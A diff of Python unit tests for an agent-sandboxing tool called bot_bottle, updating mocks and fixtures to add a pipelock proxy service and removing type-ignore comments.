        git_gate_plan=GitGatePlan(
            slug="demo-abc12",
            entrypoint_script=Path("/tmp/git-gate-entrypoint.sh"),
@@ -161,7 +166,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
        bottle = _make_bottle()
        with patch(
            "bot_bottle.backend.util.host_skill_dir",
-            side_effect=lambda n: f"/host/skills/{n}",  # type: ignore
+            side_effect=lambda n: f"/host/skills/{n}",
        ), patch(
            "bot_bottle.contrib.claude.agent_provider.os.path.isdir",
            return_value=True,
@@ -187,7 +192,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
        bottle = _make_bottle()
        with patch(
            "bot_bottle.backend.util.host_skill_dir",
-            side_effect=lambda n: f"/host/skills/{n}",  # type: ignore
+            side_effect=lambda n: f"/host/skills/{n}",
        ), patch(
            "bot_bottle.contrib.claude.agent_provider.os.path.isdir",
            return_value=False,
@@ -24,6 +24,7 @@ from bot_bottle.contrib.codex.agent_provider import CodexAgentProvider
 from bot_bottle.egress import EgressPlan
 from bot_bottle.git_gate import GitGatePlan
 from bot_bottle.manifest import Manifest
 from bot_bottle.pipelock import PipelockProxyPlan
 from bot_bottle.supervise import SupervisePlan
 from bot_bottle.workspace import workspace_plan
@@ -52,7 +53,7 @@ def _plan(
    agent_provision: AgentProvisionPlan | None = None,
    supervise: bool = False,
 ) -> DockerBottlePlan:
-    bottle_json: dict = {"agent_provider": {"template": "codex"}}  # type: ignore
+    bottle_json: dict = {"agent_provider": {"template": "codex"}}
    if supervise:
        bottle_json["supervise"] = True
    manifest = Manifest.from_json_obj({
@@ -90,6 +91,9 @@ def _plan(
        env_file=Path("/tmp/agent.env"),
        forwarded_env={},
        prompt_file=Path("/tmp/state/demo-abc12/agent/prompt.txt"),
        proxy_plan=PipelockProxyPlan(
            yaml_path=Path("/tmp/pipelock.yaml"), slug="demo-abc12",
        ),
        git_gate_plan=GitGatePlan(
            slug="demo-abc12",
            entrypoint_script=Path("/tmp/git-gate-entrypoint.sh"),
@@ -149,7 +153,7 @@ class TestCodexProvisionSkills(unittest.TestCase):
        bottle = _make_bottle()
        with patch(
            "bot_bottle.backend.util.host_skill_dir",
-            side_effect=lambda n: f"/host/skills/{n}",  # type: ignore
+            side_effect=lambda n: f"/host/skills/{n}",
        ), patch(
            "bot_bottle.contrib.codex.agent_provider.os.path.isdir",
            return_value=True,
@@ -6,7 +6,9 @@ import json
 import unittest
 import urllib.error
 from io import BytesIO
-from unittest.mock import MagicMock, patch
+from pathlib import Path
 from tempfile import mkdtemp
 from unittest.mock import MagicMock, call, patch
 from bot_bottle.contrib.gitea.deploy_key_provisioner import (
    GiteaDeployKeyProvisioner,
@@ -20,11 +22,11 @@ def _provisioner() -> GiteaDeployKeyProvisioner:
    )
-def _urlopen_response(body: dict, status: int = 200) -> MagicMock:  # type: ignore
+def _urlopen_response(body: dict, status: int = 200) -> MagicMock:
    resp = MagicMock()
    resp.read.return_value = json.dumps(body).encode()
    resp.status = status
-    resp.__enter__ = lambda s: s  # type: ignore
+    resp.__enter__ = lambda s: s
    resp.__exit__ = MagicMock(return_value=False)
    return resp
@@ -3,6 +3,7 @@
 from __future__ import annotations
 import unittest
 from unittest.mock import patch
 from bot_bottle.deploy_key_provisioner import DeployKeyProvisioner, get_provisioner
 from bot_bottle.manifest import ManifestError
@@ -40,22 +40,22 @@ class TestParseServicesByProject(unittest.TestCase):
    def test_multiple_services_per_project(self):
        out = _enumerate._parse_services_by_project(
            "bot-bottle-dev-abc\tegress\n"
-            "bot-bottle-dev-abc\tgit-gate\n"
+            "bot-bottle-dev-abc\tpipelock\n"
            "bot-bottle-dev-abc\tsupervise\n"
        )
        self.assertEqual(
-            {"bot-bottle-dev-abc": {"egress", "git-gate", "supervise"}},
+            {"bot-bottle-dev-abc": {"egress", "pipelock", "supervise"}},
            out,
        )
    def test_multiple_projects(self):
        out = _enumerate._parse_services_by_project(
            "proj-a\tegress\n"
-            "proj-b\tgit-gate\n"
+            "proj-b\tpipelock\n"
            "proj-a\tsupervise\n"
        )
        self.assertEqual(
-            {"proj-a": {"egress", "supervise"}, "proj-b": {"git-gate"}},
+            {"proj-a": {"egress", "supervise"}, "proj-b": {"pipelock"}},
            out,
        )
@@ -99,7 +99,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase):
        self._teardown_fake_home()
    def _stub(self, slugs: list[str], services_by_project: dict[str, set[str]]) -> None:
-        _enumerate.list_active_slugs = lambda **_: slugs  # type: ignore
+        _enumerate.list_active_slugs = lambda **_: slugs
        _enumerate._query_services_by_project = lambda: services_by_project
    def test_no_active_slugs_returns_empty(self):
@@ -117,7 +117,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase):
        ))
        self._stub(
            ["dev-abc"],
-            {"bot-bottle-dev-abc": {"egress", "git-gate", "supervise"}},
+            {"bot-bottle-dev-abc": {"pipelock", "egress", "supervise"}},
        )
        active = _enumerate.enumerate_active()
        self.assertEqual(1, len(active))
@@ -126,17 +126,17 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase):
        self.assertEqual("dev-abc", a.slug)
        self.assertEqual("implementer", a.agent_name)
        self.assertEqual("2026-05-26T03:00:00+00:00", a.started_at)
-        self.assertEqual(("egress", "git-gate", "supervise"), a.services)
+        self.assertEqual(("egress", "pipelock", "supervise"), a.services)
    def test_missing_metadata_renders_question_mark(self):
        # State dir doesn't exist for this slug — agent_name falls
        # back to "?" rather than dropping the row.
-        self._stub(["mystery-zzz"], {"bot-bottle-mystery-zzz": {"egress"}})
+        self._stub(["mystery-zzz"], {"bot-bottle-mystery-zzz": {"pipelock"}})
        active = _enumerate.enumerate_active()
        self.assertEqual(1, len(active))
        self.assertEqual("?", active[0].agent_name)
        self.assertEqual("", active[0].started_at)
-        self.assertEqual(("egress",), active[0].services)
+        self.assertEqual(("pipelock",), active[0].services)
    def test_no_services_for_project_yields_empty_tuple(self):
        # Race window between `compose up` returning and the actual
@@ -22,6 +22,7 @@ from bot_bottle.backend.docker.bottle_plan import DockerBottlePlan
 from bot_bottle.egress import EgressPlan
 from bot_bottle.git_gate import GitGatePlan
 from bot_bottle.manifest import Manifest
 from bot_bottle.pipelock import PipelockProxyPlan
 from bot_bottle.workspace import workspace_plan
@@ -79,6 +80,10 @@ def _plan(tmp: str) -> DockerBottlePlan:
        env_file=stage / "env",
        forwarded_env={},
        prompt_file=stage / "prompt.txt",
        proxy_plan=PipelockProxyPlan(
            yaml_path=stage / "pipelock.yaml",
            slug="test-teardown-00001",
        ),
        use_runsc=False,
    )
@@ -96,6 +101,10 @@ class TestTeardownWarning(unittest.TestCase):
        buf = io.StringIO()
        with mock.patch.object(launch_mod.docker_mod, "build_image"), \
             mock.patch.object(
                 launch_mod, "pipelock_tls_init",
                 return_value=(Path("/ca.crt"), Path("/ca.key")),
             ), \
             mock.patch.object(
                 launch_mod, "egress_tls_init",
                 return_value=(Path("/egress_ca"), Path("/egress_cert")),
--- a/Show More
+++ b/Show More